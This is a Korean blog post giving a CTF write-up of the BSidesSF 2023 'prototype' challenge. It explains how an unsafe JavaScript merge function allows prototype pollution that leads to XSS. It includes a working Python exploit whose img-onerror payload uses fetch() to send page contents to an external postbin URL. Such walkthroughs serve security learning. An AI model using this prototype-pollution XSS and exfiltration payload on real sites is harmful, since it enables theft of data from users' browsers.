본문 바로가기
CTF

[BSidesSF 2023 CTF] prototype

by skyepodium 2023. 4. 26.

1. 개요

prototype pollution 문제
문제 링크 - https://github.com/BSidesSF/ctf-2023-release/tree/main/prototype

2. 분석

index.js를 살펴보면, innerHTML로 문자열을 넣어 주기 때문에 XSS에 취약합니다. 다만 구문을 자세히 보면, this.planet 조건을 통과해야합니다. 
(정리하면, XSS를 성공시키기 위해서는 this.planetthis.address.planet 모두 truthy가 되어야합니다.)

그리고, sever.py 코드를 보면, payload에서 planet을 읽지 않고 있기 때문에 planet을 payload로 보내도 소용없습니다.

        elif(request.content_type.startswith('application/json')):
            jsonData = json.loads(request.get_data().decode('utf-8'))
            insertRegistration(conn, (jsonData['rperiod'],
                                  jsonData['rtype'],
                                  jsonData['name'],
                                  json.dumps(jsonData['address']),
                                  jsonData['year'],
                                  jsonData['make'],
                                  jsonData['model'],
                                  jsonData['color']))
            conn.commit()

 

 

index.js의 merge 함수를 보면, target[attr] = source[attr]; 구문에서 속성값을 넣어주고 있고, prototype pollution이 가능합니다. 요 부분을 이용해서, this.planet, this.address.planet 모두 truthy로 만들도록 공격합니다.

function merge(target, source){
	for(let attr in source){
		if(source[attr] && typeof source[attr] === 'object'){
			if(!target[attr])
				target[attr] = {};
			this.merge(target[attr], source[attr]);
		}
		else if(source[attr]){
			target[attr] = source[attr];
		}
	}
}

 

planet이 포함된 객체의 키를 __proto__로 지정하면, merge 함수에 의해 this.planet과, this.address.planet 모두 XSS 구문이 prototype으로 들어가게됩니다.

import requests

payload = "<img srcset=',,,,,x' onerror=fetch('https://www.toptal.com/developers/postbin/1682518003967-8679406163282?flag='+document?.querySelector('.center')?.childNodes?.[0]?.innerText)>"

data = {
    "rperiod": 1,
    "rtype": "test",
    "name": "test",
    "year": 1234,
    "make": "test",
    "model": "test",
    "color": "test",
    "address": {
        "streetAddress": "test",
        "city": "test",
        "province": "test",
        "country": "asdtestf",
        "__proto__": {
            "planet": payload
        }
    }
}

r = requests.post("http://127.0.0.1:8000/register", json=data)

 

admin이 로그인 후 register로 등록된 내용을 확인하면, document의 내용을 읽어서 postbin으로 보냅니다. postbin을 확인하면 flag를 확인 할 수 있습니다.

'CTF' 카테고리의 다른 글

[angstromCTF 2023] hallmark  (0) 2023.04.29
[angstromCTF 2023] Celeste Speedrunning Association  (0) 2023.04.29
[angstromCTF 2023] directory  (0) 2023.04.22
[BSidesSF 2023 CTF] web-tutorial-3  (0) 2023.04.22
[BSidesSF 2023 CTF] web-tutorial-2  (0) 2023.04.22